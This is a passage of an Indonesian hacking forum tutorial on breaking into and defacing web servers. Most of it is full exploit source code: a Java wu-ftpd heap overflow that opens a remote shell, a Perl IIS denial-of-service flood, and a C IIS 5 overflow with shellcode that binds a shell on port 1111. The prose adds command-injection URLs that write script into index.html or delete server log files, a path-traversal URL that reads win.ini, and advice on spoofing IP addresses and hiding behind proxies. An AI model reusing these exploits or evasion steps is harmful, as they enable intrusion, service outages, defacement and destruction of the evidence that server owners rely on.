static long tmp_heap;
static long tmp_inpbuf;


void connect(String Server)
{
try
{

s = new Socket(Server, 21);
sin = new DataInputStream (s.getInputStream());
sout = new PrintStream (s.getOutputStream());

}//try
catch (IOException e){System.out.println("Error Connecting:"+e);System.exit(-1);}
}//connect()


boolean allowsAnonymous()
{
String line=null;

try
{
connect(victim);
System.out.print(".");

boolean Ano=false;
if(s!=null)sout.println("USER planetsubhro");

System.out.print(".");

while(true)
{
if(s==null)break;
line=sin.readLine();
if(line==null)break;

if(line.indexOf("220")<=-1)
break;

line=line.toUpperCase();

for(int i=0;targets[i]!=null;i++)
{
if(line.indexOf(targets[i])>-1)
{
m=(i/4)+1;
break;
}
}

System.out.print(".");

if(s!=null)
{
sout.println("PASS sms1324");
sout.println("QUIT");
}

while(Ano==false)
{
line=sin.readLine();
if(s==null || line==null)break;

if(line.indexOf("331")>-1)
{
line=sin.readLine();
if(line==null || s==null)break;
}

if(line.indexOf("230")>-1)
return true;

if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
return false;

}//while (Ano==false)
}//while(true)

file://close socket again
if(s!=null)
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}

}//try
catch (IOException e){}

return false;

}//Anonymous check + get server




void shell()
{
reader.setPriority(6);
writer.setPriority(5);

reader.start();
writer.start();

Thread t = Thread.currentThread();
try {t.sleep(1000);} catch (InterruptedException e) {}

woot.sout.println("uname -a;id;");
}




void dosend(String s)
{
for(int i=0;i<s.length();i++)
{
if(s.charAt(i)==0xff)
sout.print(s.charAt(i));
sout.print(s.charAt(i));
}
}



void getTarget()
{
try
{

System.out.print("@@ Server>");
DataInputStream in = new DataInputStream (System.in);
victim=in.readLine();

}
catch (IOException e){}
}//getTarget()




boolean works(long n)
{
String v0=Long.toHexString(n);

String elements[]=new String[5];
elements[0]=v0.substring(0,2);
elements[1]=v0.substring(2,4);
elements[2]=v0.substring(4,6);
elements[3]=v0.substring(6,8);

for(int i=0;elements[i]!=null;i++)
{
if(elements[i].equals("00"))return false; file://0x00 -> null byte
if(elements[i].equals("0a"))return false; file://0x0a -> \n
if(elements[i].equals("40"))return false; file://0x40 -> @
}

return true;
}





boolean force()
{
char ok;

long l;
long got,inp;

long en=0+(256*1024);
long st=2048;

System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;

System.out.println("++ Exploiting "+targets[m]+"\n");

long tmp = Long.parseLong(targets[m+2],16);

st= st + tmp + Long.parseLong("6400", 16);
en= en + tmp + Long.parseLong("6400", 16);

got=Long.parseLong(targets[m+1],16);
inp=Long.parseLong(targets[m+2],16);

tmp_got=got-12;
tmp_inpbuf=inp+20;

System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("brute forcing heap (from "+Long.toHexString(st)+" to "+Long.toHexString(en)+"):");

for(l=st;l<en;l+=360)
{
for(m=0;(m!=16&&m<32);m+=4)
{

if(works(m+l+st))
{

System.out.print(".");
tmp_heap=l+m;

if(exploit("scan"))
{
System.out.println("\nheap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...");
return true;
}

}
else // if(!works(m+l+st))
System.out.print("*");

}//for
}//for

return false;
}//force()




boolean exploit(String mode)
{

StringBuffer buf=new StringBuffer();
StringBuffer buf2=new StringBuffer("");

String got[] = new String[5];
String heap[] = new String[5];
String inpbuf[]=new String[5];


String hexgot = Long.toHexString(tmp_got);
String hexheap = Long.toHexString(tmp_heap);
String hexinpbuf = Long.toHexString(tmp_inpbuf);


//////////////////// PUT THE GOT ADDRESS ///////////////////////////
if(hexgot.length()==7)
{
got[0] = "0"+hexgot.substring(0,1);
got[1] = hexgot.substring(1,3);
got[2] = hexgot.substring(3,5);
got[3] = hexgot.substring(5,7);
}

if(hexgot.length()==8)
{
got[0] = hexgot.substring(0,2);
got[1] = hexgot.substring(2,4);
got[2] = hexgot.substring(4,6);
got[3] = hexgot.substring(6,8);
}


//////////////////// PUT THE HEAP ADDRESS ///////////////////////////
if(hexheap.length()==7)
{
heap[0] = "0"+hexheap.substring(0,1);
heap[1] = hexheap.substring(1,3);
heap[2] = hexheap.substring(3,5);
heap[3] = hexheap.substring(5,7);
}

if(hexheap.length()==8)
{
heap[0] = hexheap.substring(0,2);
heap[1] = hexheap.substring(2,4);
heap[2] = hexheap.substring(4,6);
heap[3] = hexheap.substring(6,8);
}


//////////////////// PUT THE INPBUF ///////////////////////////
if(hexinpbuf.length()==7)
{
inpbuf[0] = "0"+hexinpbuf.substring(0,1);
inpbuf[1] = hexinpbuf.substring(1,3);
inpbuf[2] = hexinpbuf.substring(3,5);
inpbuf[3] = hexinpbuf.substring(5,7);
}

if(hexinpbuf.length()==8)
{
inpbuf[0] = hexinpbuf.substring(0,2);
inpbuf[1] = hexinpbuf.substring(2,4);
inpbuf[2] = hexinpbuf.substring(4,6);
inpbuf[3] = hexinpbuf.substring(6,8);
}


file://fill buffer with nops
for(int i=0;i!=480;i++)
buf2.append((char)0x90);

// fill the buffer with chunks. overwrites the syslog call pointer with
// address of our shellcode.
for(int l=0;l<460;l+=16)
{

buf2.setCharAt(l+0,(char)Integer.parseInt("F0", 16));
buf2.setCharAt(l+1,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+2,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+3,(char)Integer.parseInt("FF", 16));

buf2.setCharAt(l+4,(char)Integer.parseInt("F0", 16));
buf2.setCharAt(l+5,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+6,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+7,(char)Integer.parseInt("FF", 16));

buf2.setCharAt(l+8,(char)Integer.parseInt(got[3], 16));
buf2.setCharAt(l+9,(char)Integer.parseInt(got[2], 16));
buf2.setCharAt(l+10,(char)Integer.parseInt(got[1], 16));
buf2.setCharAt(l+11,(char)Integer.parseInt(got[0], 16));

buf2.setCharAt(l+12,(char)Integer.parseInt(inpbuf[3], 16));
buf2.setCharAt(l+13,(char)Integer.parseInt(inpbuf[2], 16));
buf2.setCharAt(l+14,(char)Integer.parseInt(inpbuf[1], 16));
buf2.setCharAt(l+15,(char)Integer.parseInt(inpbuf[0], 16));

}

buf.append("user ftp\npass http://mp3.com/cosv ");
buf.append((char)Integer.parseInt(heap[3], 16)+""+(char)Integer.parseInt(heap[2], 16)+""+(char)Integer.parseInt(heap[1], 16)+""+(char)Integer.parseInt(heap[0], 16));
buf.append("\n");

connect(victim);

dosend(buf.toString());

StringBuffer snd=new StringBuffer("site exec "+buf2+" AAAA\n");
dosend(snd.toString());

buf2=new StringBuffer("");

file://fill buffer with nops
for(int i=0;i!=480-sclength-1;i++)
buf2.append((char)0x90);

file://add chunks \0xeb\0x18
for(int l=2;l<(440-sclength);l+=6)
{
buf2.setCharAt(l,(char)0xeb);
buf2.setCharAt(l+1,(char)0x18);
}

file://add shellcode
buf2.append(sc);

if(mode.equals("real"))buf2.append("/bin/////sh");
else buf2.append("/sbin/route");

snd=new StringBuffer("");
snd.append(" "+buf2);
dosend(snd.toString());

char c=0x00;
sout.print(c+"\n");

dosend("stat ~{\n");
dosend("quit\n");


if(s!=null)
{

if(!mode.equals("real"))
{
String temp;

try
{
while((temp=sin.readLine())!=null)
{

if(temp.indexOf("Destination")>-1)
return true;

}
}
catch(IOException e){}

}


}//if(s!=null)

if(s!=null && !mode.equals("real"))
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}


return false;
}//exploit




public static void main(String args[])
{
woot wu=new woot();
boolean brute=true;
reader = new Reader(wu);
writer = new Writer(wu);

try
{
if(args[0]!=null)
victim=args[0];
}
catch(ArrayIndexOutOfBoundsException a){}

System.out.println("\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit");
System.out.println("!! original exploit code by zen-parse");
System.out.println("!! ported and modified by CraigTM [ElectronicSouls]");

if(victim.equals(""))
wu.getTarget();

System.out.print("\n## Checking server version & anonymous access");

if(!wu.allowsAnonymous())
{
System.out.println("failed: anonymous access denied!");
System.exit(-1);
}
else
System.out.println("ok");

try
{
if(args[1]!=null)
{
tmp_heap=Long.parseLong(args[1],16);
System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println("++ Exploiting "+targets[m]+"\n");

tmp_got=Long.parseLong(targets[m+1],16)-12;
tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;


System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("heap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...\n");

wu.exploit("real");
wu.shell();

brute=false;
}
}
catch(ArrayIndexOutOfBoundsException a){}

if(brute)
{

if(wu.force())
{
wu.exploit("real");
wu.shell();
}

else
System.out.println("\nSome value somewhere is bad. Could be in a skipped range.");

}//brute force the heap


System.out.println();

}//main()



}//class

dede23
27-07-2006, 01:08 PM
///////////////////////////////////////////////////////////////////////////////
//////////////////////////////SOCKET/READER////////////////////////////////////

class Reader extends Thread
{

woot W;

public Reader(woot w)
{
super("shell Reader");
this.W = w;
}

public void run()
{
try
{
String tmp;

while(true)
{
tmp=woot.sin.readLine();

if(tmp==null)
System.exit(1);

System.out.println(tmp);
}

}
catch (IOException e){}
}

}//class Reader


//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////SOCKET/WRITER////////////////////////////////////////

class Writer extends Thread
{

woot W;

public Writer(woot w)
{
super("shell Writer");
this.W = w;
}

public void run()
{

try
{
DataInputStream in = new DataInputStream (System.in);
String tmp;

while(true)
{
tmp=in.readLine();
woot.sout.println(tmp);
}

}
catch (IOException e){}
}

}//class Writer

------------------------------------------------------------------------

4.
# Written by Ivan Hernandez over code of Georgi Guninski
use IO::Socket;

print "IIS 5.0 Bogus Content-Length\n";

$port = @ARGV[1];
$host = @ARGV[0];

$req="GET /ampgn HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic " . "A" x 50000 . "\r\n\r\n";

$i=0;
while (1) {
$socket[$i] = IO::Socket::INET->new(PeerAddr =>
$host,PeerPort => $port,Proto => "TCP");
syswrite($socket[$i],$req,length($req));
print ".";
$i++;

}

$i=0;

print "\nDone.";

------------------------------------------------------------------------


Catatan: Huh! Jangan berpikir bahwa jika anda bisa melakukan hack terus menerus dengan kode yang tersedia diatas. Maaf!! exploit ini sudah kadaluarsa! sudah tidak berfungsi lagi...? sebenarnya code ini diberikan hanya untuk memberikan anda awalan perihal coding exploit. Hacking tidak dapat dilakukan secara instant. Jika anda memikirkan bahwa anda bisa sekedar surfing sepanjang hari mencari exploit dan malam harinya anda melakukan hack website, pikirkan lagi.. anda membutuhkan code exploit anda sendiri atau memodifikasi exploit sesuai keperluan hacking anda.


MENGEKSPLOITASI VULNERABILITY YANG ADA
UNTUK MENYUSUP KEDALAM SERVER
Diatas telah saya sajikan beberapa code exploit yang ditulis dalam bahasa seperti Perl, Java dan C. Ada code exploit yang ditulis sehubungan dengan vulnerability yang ditemukan pada kebanyakan web server dan software maintenance website yang telah dipatch terhadap vulnerability tersebut. Jadi anda tidak dapat menembus web server target dengan code ini. Tetaplah mengupdate pengetahuan mengenai vulnerability terakhir dengan mengunjungi situs yang saya sebutkan diatas. Tapi apa yang harus anda lakukan adalah menulis code exploit anda sendiri.

Umumnya, sejauh yang saya pertimbangkan code exploit tersedia di internet yang terkait dengan vulnerabily telah dipatch.. singkatnya.. sudah kadaluarsa. Jadi anda harus mengulis code exploit anda sendiri dengan tujuan untuk menyusup ke website berkualitas tinggi.

Katakanlah, beberapa hari yang lalu sebuah Dos Vulnerability telah ditemukanapada server Apache yang menjalankan PHP. Menurut vulnerabiltiy tersebut jika php module dipanggil tanpa parameter yang benar maka php modul tidak akan berhenti.Akibatnya dengan meningkatnya jumlah php module yang terus menerus menjadikan konsumsi sumber daya memory sistem menjadi besar.


OK, ini adalah konsep. Sekarang anda harus menulis code exploit untuk hal ini. Anda dapat memeriksa internet untuk mencari exploit yang ada dan mungkin anda bisa mendapatkan suatu exploit yang ditulis dalam bahasa C. Sekarangjika anda tidak memiliki latar belakang pemrograman apapun maka anda tidak akan mampu mengompilasi code tersebut dan membentuk file executable karena code exploit yang tersedia di internet memerlukan modifikasi dan seluruh kompilasi diatas dari code C terkadang bervariasi dari satu compiler dengan compiler lainnya. Namun jika anda memiliki latar belakang pemrograman maka anda dapat membuat program Multithread sederhanda lainnya dalam bahasa C atau Java (entah dengan perl). Seluruh yang harus anda lakukan adalah sejumlah besar dari setiap jalur yang mengirimkan suatu request ke php module pada web server dengan incorrect parameter. Dan itu dia.. jika web server tersebut benar-benar vulnerable anda dapat membuat serangan DoS (Denial of Service). Seluruh yang saya ingin jelaskan dalam paragraf ini adalah cara mendeface website, anda perlu latar belakang pemrograman yagn bagus.


INJEKSI MALICIOUS CODE MELALUI URL

Apakah Cross Site Scripting itu?

Pada dasarnya cross site scripting adalah metode eksekusi atau argumen kewenangan sistem terhadap web server dengan mengeksploitasi vulnerabiltiy melalui URL. Bug Cross Site Scripting memungkinkan anda mengeksekusi perintah shell, menginjeksi perintah kedalam file sistem (terutama menggunakan ECHO pada shell dan meneruskan outputnya), dan bahkan membuat atua menghapus file pada sistem melalui shell tersebut mengingat bahwa status sitem yagn ada memiliki cukup execution privilege.


Ini merupakan metode yang dikenal secara luas dari mendeface suatu website. Sesuai dengan metode ini, seorang attaceker menemukan beberapa cross site scripting vulnerabiltiy pada software web server tersebut dan berusaha mengeksekusi script atau perintah sistem lainnya pada sistem yang dijalankan oleh web server target.

Jika attacker tersebut menemukan beberapa cross site scripting vulnerabiltiy maka dia akan mencoba memasukkan beberapa pengarahan malicious code ke dalam file index.html jika website tersebut bukan berbasiskan database yang akan mengakibatkan pengarahan website setiap kali halaman index.html diload. Kita dapat menginjeksi malicious code menggunakan test-cgi.bt\at vulnerabiltiy yang ada pada Apache 2.0.x (Win32) (versi terdahulu juga berisikan file test-cgi.bat). Serangan url ini akan terlihat seperti :


http://www.target.com/cgi-bin/test-cgi.bat?|echo+<script>+window.open(‘http://hackersclub.up.to’)+</script>+>>/htdocs/index.html

Sekarang jika serangan tersebut berhasil maka script tersebut akan tercipta dalam file statis index.html dan saat file ini meload sebuah window pop up akan meload websiteku.

Bug lainnya yang terkenal dietmukana dalam versi Apache 2.0.x perlu disebutkan karena menyebabkan eksploitasi yang kita lakukan menampilkan banyak hal, termasuk pula Deteksi Remote Operating System, menginjeksi malicious code, mendeface website, menyusup ke sistem dan mengambil root privilege. Versi terakhir dari Apache web server berisikan direktori virtual yang disebut Error dalam server root. Direktori ini berisikan file HTML yang berhubungan dengan pesan error yagn lain. Sekarang jika kita melakukan request terhadap suatu file dalam direktori ini dengan ekstensi .var maka server tersebut akan merombak lokasinya.


Sekarang jika kita melakukan request terhadap file menggunakan URL ini:

http://www.target.com/error/HTTP_NOT_FOUND.html.var

Maka web server tersebut merespoonnya dengan output sebagai berikut:

Not Acceptable
|
|An appropriate representation of the requested resource /error/HTTP_NOT_FOUND.html.var could
not be found on this server.
|Available variants:
|
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language
de
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language
en
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language
es
| * C:/server/Apache Group/Apache2/error/HTTP_NOT_FOUND.html.var , type text/html, language
fr

Saat ini dengan melihat jalur instalasi software server, kita dapat menemukan banyak informasi megnenai target kita. Pertama kali kita dapat mengatakan bahwa target tersebut adalah Sistem Operasi Window sebagaimana halnya dengan sistem *nix tidak memiliki c:\ benar khan??

Versi Apache ini mengijinkan kita melakukan Cross Site Scripting... kita dapat mengeksekusi kewenangan perintah sistem melalui direktori cgi-bin atau direktori error tersebut. Perhatikan URL berikut ini:


http://127.0.0.1/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin .ini

url yang diberikan berupa Hex Encode URL yang merequest terhadap file win.ini terhada read access pada direktori winnt.


catatan : %5c = ‘\’ (back slash)
%2e = ‘.’ (dot) ( Form Normal dari URL diatas adalah :
http://127.0.0.1/error/\..\..\..\..\winnt\win.ini


URL cross site scripting lainnya bahwa kita dapat membuatnya:

http://127.0.0.1/cgi-bin/%5c%2e%2e%5cbin%5cwintty.exe?%2dt+HELLO

Dalam kasus ini kita menggunakan utility wintty.exe yang terletak dalam direktori /bin dari instalasi Apache. Selanjutnya sebagaimana yang telahsaya sebutkan sebelumnya kapunpun kita memanggil suatu file .exe atau .bat (shell hasil eksekusi) maka sebuah shell akan dibuat untuk proses eksekusi dan seperti kasus kewenangan perintah sistem menggunakan operator | (karakter pipe)


AMANKAN DIRI ANDA SENDIRI
Jika anda memiliki pengetahuan mengenai web server populer seperti IIS, Apache dsb.. maka saya yakin bahwa anda harus melewati file log yang merekam dan setiap request dibuat ke server. Selanjutnya setiap request yagn direkam sepanjang penggunaan IP sumber, maka bukan masalah yang ebsar bagi seorang administrator sistem untuk melacak malicious cracker melalui IP yang tertinggal pada lognya.

Jadi sangatlah penting untuk mengamankan diri anda sendiri, bila tidak anda dalam kesulitan besar... jadi pada dasarnya anda harus melakukan pembersihan file log setelah menyusup edalam suatuweb server atau menggunakan cross site scripting untuk menghapus file log ini... sebelum anda berusaha menjalankan suatu program remote exploit terhadap target anda, anda perlu menyembunyikan identitas anda, yakni IP.. IP anda adalah masalah besar yang harus anda hadapi. JIka anda memiliki sedikit pengetahuan mengenai Networking maka tentulah anda tahu apa saja yang dapat dilakukan dengan suatu IP... untuk mengetahui lebih lanjut mengenai pelacakan IP bacalah manual saya yang berjudul Tracing IP pada http://www.hackersclub.up.to.

Sebenarnya file log dibuat pada beberapa direktori standar.. sebagai contoh dalam instalasi default Apache, file log ini berada dalam C:\Apache Group\Apache\logs [saya mengujinya pada Apache 1.3.x] tetap ada suatu access log dan error log yang merekam even yang terkait. Saat sebuah pesan 200 OK ditampilkan oleh server pada respon ke beberapa request maka even tersebut terekam kedalam file access log dan pesan error seperti 404 File Not Found, 403 Forbiddent dan pesan error lainnya tersimpand alam file error log tersebut...


Hiding IP: pada dasarnya sat anda mengirimkan packet data ke suatu server IP asli anda akan direkam. Tapi jika anda menggunakan sistem operasi yang memperbolehkan penggunaan RAW SOCKET maka anda dapat mengirim paket data yang dibuat sendiri ke server dengan didahului IP asli anda..

Saat ini banyak yang harus anda tanyakan apakah RAW SOCKETS itu. OK, raw socket kurang lebih sama dengan socket biasa tapi memungkinkan kendali lebih atas packet data ke Socket Programmer. Dalam sistem WIn9x yang memiliki socket normal IP dan port asli dan informasi lainnya termasuk dalam packet data oleh kernel Sistem operasi. Tapi dalam sistem raw socket (dikenal juga sebagai Berkley Socket setelah sesuai dengan nama developer raw socket yagn merupakan karakteristik fitur sistem *nix namun diimplemetasikan oleh Microsoft dalam Windows XP.. entah apakah Win 2000 mendukung raw socket atau tidak ya?) memungkinkan socket programmer menyisipkan IP dan Port sumber buatan sendiri ke dalam sebuah packet data.

Oleh karena itu jika anda menggunakan sistem *nix atau sistem Windows XP maka anda dapat berbuat sesuka hati. Jika anda memiliki keterampilan pemrograman maka anda bisa mendapatkan code program yang dapat mengirimkan utilisasi packet datas yagn dibuat sendiri pada raw socket. Dalam kasus ini packet data yagn akan anda kirimkan akan di log dengan IP palsu pada file log server.

Metode lainnya agar anda aman adalah membersihkan file log. Apa yang dapat anda lakukanadalah menggunakan cross site scripting vulnerability untuk menghapus file log. Sesuatu seperti:

http://www.target.com/cgi-bin/test-cgi.bat?|/DEL+..\log\*.* (pada Apache melalui test-cgi vulnerability)

Dalam kasus IIS pada Windows 2000 anda bisa menggunakan metode berikut untuk mendapatkan DOS Shell melalui telnet.

Code berikut ini mengeksploitasi suatu buffer overflow IIS 5 pada Win 2000 server dan membuka port 1111 dan menciptakan suatu shell. JIka exploit tersebut ebrhasil maka seluruh yang harus anda lakukan adalah menggunakan telnet untuk terhubung ke port 1111 dari target dan anda telah menguasai sistem tersebut.

Kompilasi dan jalankan code exploit berikut ini:



/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
file://address of SHELLCODE
DWORD jmpaddr=0x00457494; file://0x77ebf094;/ /0x01e6fcec; file://"\x1c\xfb\xe6\x01"; file://"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; file://16 bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}

if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}

char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\x fc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x 65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x 33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\x ab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x 53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\x ff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\x fc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x 33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\x be\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x 56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\x fc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x 89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x 75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\x ff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x 13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x 89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x 8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\x c0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\x c8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x 01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x 45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\x ff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x 89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x 9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x 8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\x b1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x 01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x 40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x 8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x 80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\x ff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\x ff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\x ff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\x ff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x 85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\x ff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x 90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x 90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\x c0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\x c0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\x b5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\x b4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\x ff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";


char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";

char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;


char sendbuff[1024*16];
memset(sendbuff,0,1024*16);

sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1, destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);


int sendlen=strlen(sendbuff);
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}

memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);

if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);

puts("Send shellcode error!Try again!");
return -1;
}


shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

return 0;
}

note : penjelasan dari code C ini diluar batasan dari manual ini

Apa yang code ini lakukan adalah menyebabkan overflow pada IIS Win200 dan memaksa sistem membuat shell ke IP sumber pada port 1111. sekarang jika exploit ini bekerja dengan sesuai akan ada sebuah shell pda port 1111 pada sistem target. Apa yang harus anda lakukan adalah menggunakan perintah "telnet IPtarget 1111" pada console untuk mendapatkan koneksi ke sistem tanpa otentikasi apapun.

Seringkali metode mengamankan diri sendiri dengan menggunakan banyak wingate atau proxy. Sebelum melakukan perintah pada sistem target anda perlu melakukannya melalui proxi atau wingate jadi IP yagn dilog pada file log server berupa Ip dari sistem proxy atau wingate tersebut, bukan IP anda. Dalam kasus ini akan sukar untuk mendeteksi anda, tapi tidak mustahil tentunya.


CATATAN AKHIR DAN TINDAKAN KEAMANAN
